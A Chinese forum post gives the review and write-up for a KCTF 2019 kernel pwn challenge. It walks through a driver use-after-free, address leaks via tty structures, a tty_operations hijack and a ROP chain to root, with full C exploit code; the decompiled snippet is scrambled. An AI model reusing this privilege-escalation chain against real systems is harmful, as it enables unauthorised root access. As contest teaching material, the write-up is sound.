首页
社区
课程
招聘
[推荐]看雪.纽盾 KCTF 2019 Q3 | 第十一题点评及解题思路
发表于: 2019-10-8 14:27 2098

[推荐]看雪.纽盾 KCTF 2019 Q3 | 第十一题点评及解题思路

2019-10-8 14:27
2098

夜幕降临了。微风吹拂着蒿草,围绕着燃烧的火堆,女孩翩然起舞。濒死的男人心驰神往,自己身在梦中吗?大地微微的颤动。敏锐的耳力立刻察觉到,那是快速接近的马蹄。“马中赤兔,人中吕布。”他的力量超乎寻常,纵横大陆所向无敌。但与威震天下的“战神”相提并论的,则是“有勇无谋”之名。绝无仅有的真心,换来最惨烈的下场。英雄终究末路。吕布在内心冷笑着。不是想利用自己,就是想自己死。这个世界,就是这么残酷。没有人生来贱如猪狗,我会活下去,得到想要的一切。




题目简介


本题共有868人围观,最终只有7支团队攻破成功。接近赛事终章,不少战队依然绝地反击,全力一搏攻破此题,拿到积分颠覆局面。

攻破此题的战队排名一览:


这道题也十分有意思,接下来我们一起来看一下点评和详细解析吧。


看雪评委crownless点评


这题是一道系统安全pwn题,考验了选手的系统化思考能力、漏洞查找能力、漏洞利用能力等等。此题的内容是内核漏洞,因此做题门槛也比较高。

出题团队简介


本题出题战队n0body:


该战队只有aqs一人,依然能够难道一大批战队,可见实力非凡。

下面是相关简介:

just for fun



设计思路


提供给参赛选手信息:服务器 ssh 的 ip 用户,密码类似```ssh pwn@x.x.x.x -p 10022 (passwd: pwn)```解题思路


本题解题思路由看雪论坛poyoten提供:


分析


先看虚拟机启动脚本:

qemu-system-x86_64 -m 256M \
-nographic -kernel $bzImage_dir \
-append 'root=/dev/ram rw console=ttyS0 loglevel=3 oops=panic panic=1
kaslr' \
-monitor /dev/null -initrd $cpio_dir \
可以看到开启了地址随机化,smap,smep保护。同时rcS可以看到载⼊了mod.ko驱动。在驱动中可以看到存在uaf漏洞:-smp cores=2,threads=2 \ -cpu kvm64,+smep,+smap
|| cnt <= v19if ( copy_from_user(&v17, v3, 24LL) case 0x133D:
|| v17 >= cnt
|| cnt <= v18
else if ( v7[1] != 3735928559LL || staffs[4 * v17] != 3735928559LL|| (v7 = &staffs[4 * v19], *v7 == 3735928559LL) || v18 != v7[2] ) { LABEL_39: v4 = -22LL;
}{} || v17 == v18 )
staffs[4 * v17 + 2] = -1LL; LABEL_16: v4 = 0LL; }
kfree(v7[3]);else { v4 = 0LL;

注意触发漏洞的条件:⾸先在前⾯需要set第三个参数对应的staff结构体的2,3位为⼀个标记为deadbeef的staff,⽽后第⼆个参数与第⼀个参数不同且都标志位为0xdeadbeef,且第⼆个staff为第三个中对应设置的staff。

思路


存在uaf漏洞且存在随机化,⾸先要leak堆地址和内核加载基址。堆地址可以直接在free后通过fd指针获得。注意到驱动申请堆块⼤⼩为0x400,这时候即可想到打开⼀个tty设备,让其对应结构体分配到free的chunk上,即可leak出内核加载基址。可以leak出堆地址和内核加载基址后,⾸先想到的是start ctf中的,再次利⽤UAF分配到modprobe_path位置,覆盖掉后再运⾏⼀个错误格式的elf,触发运⾏预设脚本来提权,但是成功覆盖后总是触发失败,不知道原因。第⼆种⽅法,就是⽐较普通的,通过uaf来修改tty_struct,来修改tty_operations指向⾃⼰伪造的结构体来控制程序流。但是伪造⽅法卡了很久,因为存在smap保护,不能直接像之前遇到的xchg解决。这时候只能尝试tty_operations中的所有操作,看哪⼀个能结合现有rop链来控制栈,最后选择write操作。write时,可以看到分布为:

$rsp-> return addr

user_data_addr


同时找到⼀条可以pop rsp的rop链:

.text:FFFFFFFF811751F3 pop rcx
.text:FFFFFFFF811751F4 or eax, 415BFFF4h
.text:FFFFFFFF811751F9 pop rsp
.text:FFFFFFFF811751FB retn.text:FFFFFFFF811751FA pop rbp

由此便可以在write的过程中控制栈指向所要write的⽤户数据(write前已被copy⼊内核空间)。此时即可常规伪造rop链来执⾏commit_creds(prepare_kernel_cred(0)),再返回⽤户态完成提权。

exp


#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sched.h>
#include <errno.h>
#include <pty.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <signal.h>
struct _tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct inode *inode, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
struct file_operations *proc_fops;
};
#define KERNCALL __attribute__((regparm(3)))
long int data[0x400];
void new(int fd){
    ioctl(fd,0x1336);
}
void dead(int fd,long int index){
    ioctl(fd,0x1338,index);
}
void alive(int fd,long int index){
    ioctl(fd,0x1339,index);
}
void set(int fd,long int dest,long int src){
    long int arg[2]={src,dest};
    ioctl(fd,0x1337,arg);
}
void fake(int fd,long int arg1,long int arg2,long int arg3){
    long int arg[3]={arg1,arg2,arg3};
    ioctl(fd,0x133d,arg);
}
void leak(int fd,long int index,long int size){
    long int arg[3]={index,data,size};
    ioctl(fd,0x133b,arg);
}
void edit(int fd,long int index,long int *user,long int size){
    long int arg[3]={index,user,size};
    ioctl(fd,0x133a,arg);
}
void info(){
    for(int i=0;i<=60;i++){
        printf("6llx | 6llx\n",data[2*i],data[2*i+1]);
    }
}
void shell(){
    system("/bin/sh");
}
unsigned long user_cs, user_ss, user_eflags,user_sp ;
void save_status() {
    asm(
    "movq %%cs, %0\n"
    "movq %%ss, %1\n"
    "movq %%rsp, %3\n"
    "pushfq\n"
    "popq %2\n"
    :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
    :
    : "memory"
    );
}
struct _tty_operations tty_operations;
int main(){
    save_status();
    signal(SIGSEGV, shell);
    int fd=open("/dev/kpwn",0);
    new(fd);
    new(fd);
    new(fd);
    new(fd);
    dead(fd,0);
    set(fd,3,0);
    alive(fd,0);
    dead(fd,1);
    fake(fd,1,0,3);
    leak(fd,3,0x200);
    long int heap_addr=data[0];
    printf("[*]heap addr=0x%llx\n",heap_addr);
    int fd2=open("/dev/ptmx",1);
    leak(fd,3,0x300);
    long int kernel_addr=(data[76]-0x17a820);
    printf("[*]kernel addr=0x%llx\n",kernel_addr);
    long int fake_option=heap_addr+0x400;
    //info();
    printf("[*]fake op addr=0x%llx\n",fake_option);
    new(fd);
    set(fd,3,0);
    long int magic=kernel_addr+0x1751f3;
    long int user[30];
    for(int i=0;i<20;i++){
    user[i]=magic;
    }
    //info();
    //0xffffffffc0002400
    edit(fd,3,user,0x100);
    user[0]=data[0];
    user[1]=data[1];
    user[2]=data[2];
    user[3]=fake_option;
    edit(fd,2,user,0x20);
    int i=0;
    user[i++]=0;
    user[i++]=kernel_addr+0x118fab;//pop_rdx_rdi
    user[i++]=0;
    user[i++]=0;
    user[i++]=kernel_addr+0x4f050;//prepare_kernel_cred
    user[i++]=kernel_addr+0x1ed3e;//xor pop ret
    user[i++]=0;
    user[i++]=kernel_addr+0x10f29f;
    user[i++]=0;
    user[i++]=kernel_addr+0x4f210;
    user[i++]=kernel_addr+0x200c2e;//swapgs;popfq;pop rbp;ret
    user[i++]=0x246;
    user[i++]=0;
    user[i++]=kernel_addr+0x1a306;
    user[i++]=shell;
    user[i++]=user_cs;
    user[i++]=user_eflags;
    user[i++]=user_sp;
    user[i++]=user_ss;
    write(fd2,user,0xb0);
}


END

原文链接: https://mp.weixin.qq.com/s/4Ev4aPL_8LHhy5mmP7KUwg

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2019-10-10 15:16 被Editor编辑 ,原因:
收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 144
活跃值: (335)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
小编扣工资,错别字还有代码为啥不高亮显示
2019-10-8 15:58
0
游客
登录 | 注册 方可回帖
返回
//